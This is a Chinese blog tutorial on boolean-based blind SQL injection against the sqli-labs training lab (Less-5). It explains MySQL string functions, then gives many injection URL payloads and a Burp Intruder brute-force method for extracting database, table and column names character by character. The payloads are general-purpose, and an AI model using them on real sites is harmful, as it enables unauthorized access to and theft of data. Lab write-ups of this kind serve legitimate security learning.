SQL盲注學習-布爾型

  本次實驗仍是使用sqli-labs環境。在開始SQL盲注以前首先學習一下盲注須要用到的基礎語法。python

  一、left()函數:left(str,lenth)它返回具備指定長度的字符串的左邊部分。mysql

  left(a,b) 從左邊截取a的b位 正則表達式

  咱們在命令行使用sqli-labs數據庫實驗一下,首先使用security數據庫,而後對數據庫名第一個字符進行查詢,找到了第一個字母ssql

 

判斷數據庫第一位是否爲s,加入判斷語句=‘s’,看到結果返回1,說明當去數據庫第一個字母爲s數據庫

 

 *沒有使用數據庫時結果返回爲空函數

 

 

 

  二、regexp函數:REGEXP在mysql是用來執行正則表達式的一個函數學習

  select user()  regexp ’root’    查詢當前用戶是否爲root,regexp爲匹配root的正則表達式ui

  

 

  查看當前數據庫是否存在rispa

  

 

 

   三、like函數:LIKE一般與通配符%一塊兒使用,%表示通配pattern中出現的內容,而不加通配符%的LIKE語法,表示精確匹配,其實際效果等同於 = 等於運算符命令行

   select user() like ‘ro%’       查詢當前用戶是否爲ro開頭,能夠看出當前用戶是ro開頭

 

 

 

  使用like精準查詢,這裏能夠看到使用like查詢當前用戶是否爲root,結果爲假,這是爲何呢?

  

 

 

  由於我當前用戶名爲root@localhost

  

  再次使用like精準查詢當前用戶,就返回了正確結果

  

 

 

  四、sbustr函數:sbustr函數是用來截取字符串長度的函數。

  substr(a,b,c),就是從位置b開始截取a字符串的c位長度

  

 

  判斷當前數據庫第一個字母是否爲s

  

 

  判斷前4位是否爲secu

  

 

 

  五、ascii() 函數:查看字符/數字/符號的ascii碼

  查詢字母的ascii碼 select ascii(‘c’)

   

 

   查詢數字的ascii碼 select ascii(1)

  

 

  查詢符號的ascii碼

  

   

  六、python使用chr()將ascii碼轉換爲對應字符,使用ord()將字符轉換爲ascii碼

  

 

  接下來進行試驗,打開sqli-labs第五關

  一、首先判斷注入點 http://localhost:8088/sqli-labs/Less-5/?id=1,返回正常頁面

 

 

 

   輸入http://localhost:8088/sqli-labs/Less-5/?id=1',頁面報錯說明存在注入點

  

 

 

  二、使用order by猜列數,在order by 4時頁面報錯,說明存在3個列。

  

 

  三、使用length函數查詢數據庫名長度直到找到正確的爲止

http://localhost:8088/sqli-labs/Less-5/?id=1' and length(database())=1 --+

http://localhost:8088/sqli-labs/Less-5/?id=1' and length(database())=2 --+

http://localhost:8088/sqli-labs/Less-5/?id=1' and length(database())=3 --+

http://localhost:8088/sqli-labs/Less-5/?id=1' and length(database())=4 --+

 

 

 

 也可使用Burp Suite抓包對長度進行爆破

 

 

獲得了數據庫長度爲8位

 

 

 

   四、對數據庫名進行猜解

  判斷數據庫的第一位開始一個字符的ascii是否大於100

  http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1))>100--+      結果返回正確

 

 

 判斷是否小於200  

  http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1))<200--+        頁面顯示爲空

 

 

 不斷縮小範圍ascii範圍

  http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1))>150--+        頁面顯示爲空

  http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1))>125--+        頁面顯示爲空

  http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1))>125--+        頁面顯示爲空

  http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1))>112--+        結果返回正確

  http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1))>120--+        頁面顯示爲空

  不斷嘗試後找到數據庫第一位的ascii碼爲115

 

 

  使用python查詢ascii碼115對應的字符爲s

  

  修改substr參數查詢第二字符,不斷嘗試找到其ascii爲101

 

 

  http://localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),2,1))=101--+

 

  使用python獲得第二字段爲e

  

 

  因爲剛剛已經才接到數據庫名字長度爲八個字符,因此須要破解到到第八位,就能夠獲得當前數據庫名字了。

  五、接下來開始猜解表

  首先查看security數據庫中表的數量,發現有四個表

  localhost:8088/sqli-labs/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=1 ;--+                   頁面顯示爲空

  localhost:8088/sqli-labs/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=2 ;--+                   頁面顯示爲空

  localhost:8088/sqli-labs/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=3 ;--+                   頁面顯示爲空

  localhost:8088/sqli-labs/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=4 ;--+                   結果返回正確

 

 

  使用length函數查詢第一個表字段數:

  localhost:8088/sqli-labs/Less-5/?id=1' and (select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=1;--+

  localhost:8088/sqli-labs/Less-5/?id=1' and (select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=2;--+

  localhost:8088/sqli-labs/Less-5/?id=1' and (select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=3;--+

  localhost:8088/sqli-labs/Less-5/?id=1' and (select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=6;--+

 

  使用ascii對第一個表的第一個字符進行猜解最終獲得其ascii碼爲101

  localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101--+

 

使用python獲得字符爲e

 

 

 依次對六個字符進行猜解,獲得數據表名爲emails,看上去應該是郵件,不是咱們想要的內容,接下來能夠進行破解第二個表長度以及猜解名稱這裏不作演示,直到獲得所有4個數據表名稱emails、 referers 、uagents、users。接下來對users表進行猜解

  六、猜解數據

 首先判斷列數,獲得了一共有三個列。

 localhost:8088/sqli-labs/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=1--+

 localhost:8088/sqli-labs/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=2--+

 localhost:8088/sqli-labs/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3--+

  接下來對第一列表名的長度進行查詢

  localhost:8088/sqli-labs/Less-5/?id=1' and (select length(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)=1;--+  

  localhost:8088/sqli-labs/Less-5/?id=1' and (select length(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)=2;--+

   使用ascii方法猜解第一個列第一個字符,獲得105,第一個字符爲i

  localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105--+    猜解第一列i 

 

 

  修改substr函數,第二個參數,對第二個字符進行猜解,ascii碼117,獲得字符d

  localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1))=117--+    猜解第一列d

 

 

 

 接下來步驟相似,對其他數據進行猜解就能夠了。

   

這是ASCII碼中全部能夠顯示的字符,能夠做爲猜解的ASCII數值應該就是32-126,因此是否是隻要把閾值範圍內的數值作成一個字典直接跑就好了呢?

 

使用這個Payload試一下:

localhost:8088/sqli-labs/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1))=1--+

Burp Suite抓取數據包,提交到Intruder,將數值添加爲變量,而後加載32-126的字典

 跑一下康康,成功獲得了正確的ASCII碼,

 

 

 

而後使用left方法試一下,使用left函數判斷當前數據庫名字的左邊第一位是否爲字符1,頁面顯示任何信息因此結果爲不是

localhost:8088/sqli-labs/Less-5/?id=1' and left((select database()),1)='1' --+

 

如今咱們遍歷全部能夠輸入的字符爆破數據庫的第一個字符,實驗一下,果真成功遍歷出了正確的字符S,可是大小寫S均可以成功,那麼s的ASCII爲115而S的ASCII爲83,爲何使用ASCII遍歷時候能夠成功呢?

 

 

 

 

下面能夠看到security數據庫的第一字符爲s

 

 查看ASCII碼

 

 而後判斷一下其ASCII碼是否爲115

 

 那麼判斷它是否爲83

  

 

 結果爲否。

因此我以爲緣由多是由於用戶在建立數據庫時侯使用的時小寫的security因此這個數據被記錄在數據庫中,在盲注時使用ASCII方法猜解到了數據庫所存儲的小寫security信息,而因爲數據庫自己時不區分大小寫的,因此當咱們查詢時使用大寫小寫都可以查詢到該數據庫。就致使了爆破時s/S都可以爆破成功。

  接下來使用left方法對數據庫名其他字符進行爆破,修改left的參數爲2,使查詢一次返回兩個字符,而後將正確的第一個輸入對第二個字符進行爆破,獲得正確的兩個字符

 

 

 

 這樣的話用left進行猜解,字典能夠減小26個字母。

相關文章
相關標籤/搜索